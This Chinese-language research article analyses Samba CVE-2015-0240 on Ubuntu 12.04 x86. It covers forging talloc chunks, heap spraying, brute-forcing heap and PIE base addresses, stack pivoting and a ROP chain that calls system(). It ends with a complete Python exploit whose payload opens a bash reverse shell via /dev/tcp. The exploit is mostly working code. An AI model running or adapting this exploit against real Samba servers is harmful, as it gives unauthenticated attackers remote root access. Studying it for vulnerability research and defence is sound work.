1 演示
2 背景
2015年2月23日,Red Hat产品安全团队发布了一个Samba服务端smbd的漏洞公告 [1],该漏洞编号为CVE-2015-0240,几乎影响所有版本。
该漏洞的触发并不需要通过Samba服务器的账号认证,而smbd服务端通常以root权限运行,如果漏洞能够被用来实现任意代码执行,则攻击者可以远程获取系统root权限,危害极其严重,因此该漏洞的CVSS评分也达到了10。
该漏洞的基本原理是栈上未初始化的指针被传入TALLOC_FREE()
函数。想要利用这个漏洞,首先需要控制栈上未初始化的数据,这和编译生成的二进制文件中栈的布局有关。
因此少数国外的安全研究人员针对不同Linux发行版上的二进制文件做了分析,其中Worawit Wang(@sleepya_)给出了较好的结果,他证实了在Ubuntu 12.04 x86 (Samba 3.6.3)和Debian 7 x86 (Samba 3.6.6)中,这个漏洞是可以被用来实现远程代码任意执行的,参考 [2] 中的注释。之后,英格兰老牌安全公司NCC Group的研究人员给出了漏洞利用的思路 [4],但是也未给出利用细节和exploit代码。
本文详细分析并实现了Ubuntu 12.04 x86(Debian 7 x86情况类似)平台下Samba服务端远程代码任意执行的exploit。
3 漏洞简介
已经有多篇文章给出了漏洞分析 [3],这里只做一个简要介绍。
漏洞出现在函数 _netr_ServerPasswordSet()
当中,局部变量creds
原本被期望通过 netr_creds_server_step_check()
函数初始化,但是如果构造输入使得 netr_creds_server_step_check()
失败,则可导致creds
未初始化就传入了TALLOC_FREE()
函数:
NTSTATUS _netr_ServerPasswordSet(struct pipes_struct *p, struct netr_ServerPasswordSet *r) { NTSTATUS status = NT_STATUS_OK; int i; struct netlogon_creds_CredentialState *creds; [...] status = netr_creds_server_step_check(p, p->mem_ctx, r->in.computer_name, r->in.credential, r->out.return_authenticator, &creds); unbecome_root(); if (!NT_STATUS_IS_OK(status)) { [...] TALLOC_FREE(creds); return status; }
4 漏洞利用
我们首先来看一下smbd的binary当中开启了哪些保护机制:
$ checksec.sh --file smbd RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH smbd
编译器所有能加的保护机制都用上了,最需要注意的是开启了PIE的保护,这样如果要使用binary本身的代码片段来进行ROP或者调用导入函数,就必须首先知道程序本身加载的地址。
4.1 任意地址Free
要利用这个漏洞,首先需要找到一个控制流,能够控制栈上未初始化的指针creds
,这样我们就可以实现对任意地址调用TALLOC_FREE()
。
根据@sleepya_的PoC,我们已经知道,在Ubuntu 12.04 和 Debian 7 x86系统中,NetrServerPasswordSet请求当中PrimaryName
的ReferentID
域恰好落在了栈上未初始化指针creds
的位置。
这样我们就可以通过构造ReferentID
来实现任意地址Free。PoC中相关代码如下:
primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = 0x41414141
4.2 控制EIP
有了任意地址Free后,我们可以想办法让TALLOC_FREE()
来释放我们控制的内存块,但我们并不知道我们所能控制的内存的地址(DCERPC请求中的数据存储在堆上)。
我们可以穷举堆的地址,因为smbd进程采用fork的方式来处理每个连接,内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块,来提高命中率,尽可能降低枚举的空间。
我们首先假设已经知道堆的地址,先来看一看如何构造TALLOC内存块来劫持EIP。
我们需要去了解TALLOC_FREE()
的实现。 首先看一看TALLOC内存块的结构:
struct talloc_chunk { struct talloc_chunk *next, *prev; struct talloc_chunk *parent, *child; struct talloc_reference_handle *refs; talloc_destructor_t destructor; const char *name; size_t size; unsigned flags; void *pool; 8 bytes padding; };
为了满足16字节对齐,这个结构末尾还有8字节的padding,这样talloc_chunk
结构一共48字节。在这个结构当中,destructor
是一个函数指针,我们可以任意构造。先来看一看TALLOC_FREE()
这个宏展开的代码:
_PUBLIC_ int _talloc_free(void *ptr, const char *location) { struct talloc_chunk *tc; if (unlikely(ptr == NULL)) { return -1; } tc = talloc_chunk_from_ptr(ptr); ... }
_talloc_free()
又调用了talloc_chunk_from_ptr()
,这个函数是用来将内存指针(分配时返回给用户使用的指针ptr)转换成talloc_chunk
的指针。
/* panic if we get a bad magic value */ static inline struct talloc_chunk *talloc_chunk_from_ptr(const void *ptr) { const char *pp = (const char *)ptr; struct talloc_chunk *tc = discard_const_p(struct talloc_chunk, pp - TC_HDR_SIZE); if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) { if ((tc->flags & (~0xFFF)) == TALLOC_MAGIC_BASE) { talloc_abort_magic(tc->flags & (~0xF)); return NULL; } if (tc->flags & TALLOC_FLAG_FREE) { talloc_log("talloc: access after free error - first free may be at %s\n", tc->name); talloc_abort_access_after_free(); return NULL; } else { talloc_abort_unknown_value(); return NULL; } } return tc; }
这个函数仅仅把用户内存指针减去TC_HDR_SIZE
并返回, TC_HDR_SIZE
就是talloc_chunk
的大小48,但是我们需要满足tc->flags
的检查,将其设置为正确的Magic Number,否则函数无法返回正确指针。接下来我们继续看_talloc_free()
函数:
_PUBLIC_ int _talloc_free(void *ptr, const char *location) { ... tc = talloc_chunk_from_ptr(ptr); if (unlikely(tc->refs != NULL)) { struct talloc_reference_handle *h; if (talloc_parent(ptr) == null_context && tc->refs->next == NULL) { return talloc_unlink(null_context, ptr); } talloc_log("ERROR: talloc_free with references at %s\n", location); for (h=tc->refs; h; h=h->next) { talloc_log("\treference at %s\n", h->location); } return -1; } return _talloc_free_internal(ptr, location); }
如果tc->refs
不等于NULL,则进入if分支:为了让里面的第一个if分支不挂,我们需要把tc->parent
指针设置成NULL;紧接着的for循环又要求我们让tc->refs
指向一个合法链表,有一些复杂。
我们先来看如果tc->refs
为NULL的情形,即程序进入了_talloc_free_internal()
函数:
static inline int _talloc_free_internal(void *ptr, const char *location) { ... if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) { /* we have a free loop - stop looping */ return 0; } if (unlikely(tc->destructor)) { talloc_destructor_t d = tc->destructor; if (d == (talloc_destructor_t)-1) { return -1; } tc->destructor = (talloc_destructor_t)-1; if (d(ptr) == -1) { // call destructor tc->destructor = d; return -1; } tc->destructor = NULL; } ... }
我们略去该函数中已经不需要考虑的部分,在上述函数中,我们已经看到talloc_chunk
的destructor
被调用起来了,但是在这之前有一些检查:第一个if当中,我们不能在flags
中设置TALLOC_FLAG_LOOP
;在第二个if中,destructor
如果设置为-1,则函数返回-1,程序不会crash,如果destructor
设置为其他非法地址,则程序会崩溃退出。
我们可以利用这个特性来验证穷举的堆的地址是否准确:我们在穷举时可以将destructor
设置为-1,当找到一个用来TALLOC_FREE()
的地址没有让程序崩溃(请求有返回),则再将destructor
设置为一个非法地址,如果程序这时候崩溃,则说明我们找到的地址是正确的。
现在我们总结一下我们需要构造的chunk所应该满足的条件:
struct talloc_chunk { struct talloc_chunk *next, *prev; // 无要求 struct talloc_chunk *parent, *child; // 无要求 struct talloc_reference_handle *refs; // refs = 0 talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP const char *name; size_t size; unsigned flags; // 条件1:flags & (TALLOC_FLAG_FREE | ~0xF)) == TALLOC_MAGIC // 条件2:tc->flags & TALLOC_FLAG_LOOP == False void *pool; // 无要求 8 bytes padding; // 无要求 };
到此为止,我们已经知道怎么通过构造chunk传给TALLOC_FREE()
来控制EIP。
4.3 穷举堆地址
经过修改PoC并结合gdb调试发现,我们可以使用new password来构造大量的chunk(对应于PoC中的uasNewPass['Data']
)。虽然发送给Samba的请求当中有很多数据存储在堆当中(例如username
和password
,参考 [2]),但是很多数据要求符合WSTR编码,无法传入任意字符。
为了提高穷举堆地址的效率,我们采用 [4] 提出的思路,使用只包含refs
、destructor
、name
、size
、flags
这5个域的压缩chunk,从48字节缩小为20字节,这样我们在穷举时只需要对每个地址穷举5个偏移,而不是原来的12个。压缩chunk的喷射与实际talloc_chunk
结构的对应关系如下图所示。
chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多,则需要枚举的空间就会减少,但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大,因此需要根据实际情况来选择一个折中的数值。另外,在我们实现的exploit中,使用了进程池来实现并行枚举,提高了穷举的效率。
4.4 ROP
要实现ROP,我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页,所以我们按页来枚举即可(0x1000字节)。我们在平台中大量测试了地址空间可能的范围,大致有0x200种可能的情形,可以接受。 现在我们只能通过构造destructor
来控制一次EIP,为了实现ROP,首先需要做栈迁移(stack pivot),我们在samba的binary中找到了如下gadget:
0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;
由于在控制EIP的现场,ecx-0x4
正好指向chunk的name
字段,因此我们可以从name
字段开始进行ROP。通过设置一个pop4ret(pop eax ; pop esi ; pop edi ; pop ebp ; ret ;
)的gadget,就可以让esp指向下一个压缩chunk的name
字段,依次往下,直到ESP走到我们喷射的内存的尽头,我们在那里可以无限制地写入ROP Payload。
[4] 中并没有给出具体栈迁移的gadget,但是根据该文中给出的图示,可以推测NCC Group的研究人员使用了相同的gadget。
4.5 任意代码执行
注意到smbd程序中导入了system
函数,因此我们可以直接调用system
的PLT地址来执行任意命令。
但是如何写入命令呢,如果使用在堆中布置命令,目前我们只知道压缩chunk的地址,但是其中只剩下4字节可用,所以考虑调用snprintf
,往bss section中逐字节写入命令,这种方式可以执行任意长度的命令。需要注意的是,在调用snprintf
和system
时,由于binary使用的是地址无关代码(PIC),需要把GOT表地址恢复到ebx寄存器中。
生成ROP Payload的Python代码如下所示:
# ebx => got rop = l32(popebx) + l32(got) # write cmd to bss, fmt == "%c" for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss)
[4] 中使用的方法是传统的mmap()
+ memcpy()
然后执行shellcode的方式,可以实现相同的效果。
4.6 exploit完整代码
#!/usr/bin/env python2 # Author: [email protected] # sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2 import sys import signal import time # https://github.com/zTrix/zio from zio import * from multiprocessing import Pool, Manager import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import * host = '127.0.0.1' port = 445 cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0" # 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ; pop4ret_o = 0x41e2cb # 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ; popebx_o = 0x006fd522 pivot_o = 0xa6d7c got_o = 0x9cd640 fmt_o = 0x8e043e system_o = 0xa4250 snprintf_o = 0xa3e20 bss_o = 0x9d5dc0 pie = 0x80000000 free_addr = 0x809fa10c + 8 + 32 def exploit(free_addr, pie=0, destructor=-1, step=0x80): pivot = pie + pivot_o pop4ret = pie + pop4ret_o popebx = pie + popebx_o got = pie + got_o fmt = pie + fmt_o system = pie + system_o snprintf = pie + snprintf_o bss = pie + bss_o if pie != 0: destructor = pivot # struct talloc_chunk { # struct talloc_chunk *next, *prev; # struct talloc_chunk *parent, *child; # struct talloc_reference_handle *refs; // refs = 0 # talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP # const char *name; # size_t size; # unsigned flags; // magic # void *poo # }; talloc_chunk = l32(0) # refs => 0 talloc_chunk += l32(destructor) # destructor => control EIP talloc_chunk += l32(pop4ret) # pop4ret talloc_chunk += 'leet' # talloc_chunk += l32(0xe8150c70) # flags => magic # ebx => got rop = l32(popebx) + l32(got) # write cmd to bss for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss) payload = 'deadbeef' payload += talloc_chunk * 0x1000 * step payload += 'leet' * 2 payload += rop.ljust(2560, 'C') payload += 'cafebabe' + '\0' username = '' password = '' ### # impacket does not implement NetrServerPasswordSet ### # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(NDRCALL): structure = ( ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode',NTSTATUS), ) nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse) ### # connect to target ### rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host) rpctransport.set_credentials('','') # NULL session rpctransport.set_dport(port) # impacket has a problem with SMB2 dialect against samba4 # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = payload primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = free_addr request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = host + '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass DCERPCSessionError = nrpc.DCERPCSessionError try: resp = dce.request(request) print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected") print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except DCERPCSessionError as e: # expect error_code: 0xc0000225 - STATUS_NOT_FOUND # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except impacket.nmb.NetBIOSError as e: # print 'exception occured' if e.args[0] == 'Error while reading from remote': # print("connection lost!!!\nmight be vulnerable") return 1 else: raise except AttributeError: # print("exception") return 0 def init_worker(): signal.signal(signal.SIGINT, signal.SIG_IGN) def guess_heap(free_addr, step, hits): if len(hits) > 0: return log("[+] trying heap addr %s" % hex(free_addr), 'green') res = exploit(free_addr, destructor=-1, step=step) if res == 0: res = exploit(free_addr, destructor=0, step=step) if res != 0: log("hit: %s" % hex(free_addr), 'red') hits.append(free_addr) def guess_pie(free_addr, pie, step): log("[+] trying pie base addr %s" % hex(pie), 'green') try: exploit(free_addr, pie=pie, step=step) except impacket.nmb.NetBIOSTimeout: pass def brute_force_heap(step): hit = False print "Initializng 10 processes for brute forcing heap address..." pool = Pool(10, init_worker) manager = Manager() hits = manager.list() for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20): for offset in xrange(5): pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits)) try: while True: time.sleep(5) if len(hits) > 0: pool.terminate() pool.join() return hits[0] except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join() sys.exit(0) def brute_force_pie(free_addr, step): print "Initializng 10 processes for brute forcing PIE base address..." pool = Pool(10, init_worker) for pie in range(0xb6d00000, 0xb6f00000, 0x1000): pool.apply_async(guess_pie, (free_addr, pie, step)) try: time.sleep(60 * 60) except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join() else: pool.close() pool.join() step = 0x1 free_addr = brute_force_heap(step) brute_force_pie(free_addr, step)
5 参考资料
- Samba vulnerability (CVE-2015-0240)
- PoC for Samba vulnerabilty (CVE-2015-0240)
- Samba _netr_ServerPasswordSet Expoitability Analysis
- Exploiting Samba CVE-2015-0240 on Ubuntu 12.04 and Debian 7 32-bit
【原文:Samba CVE-2015-0240 远程代码执行漏洞利用实践 作者:长亭科技KELWIN】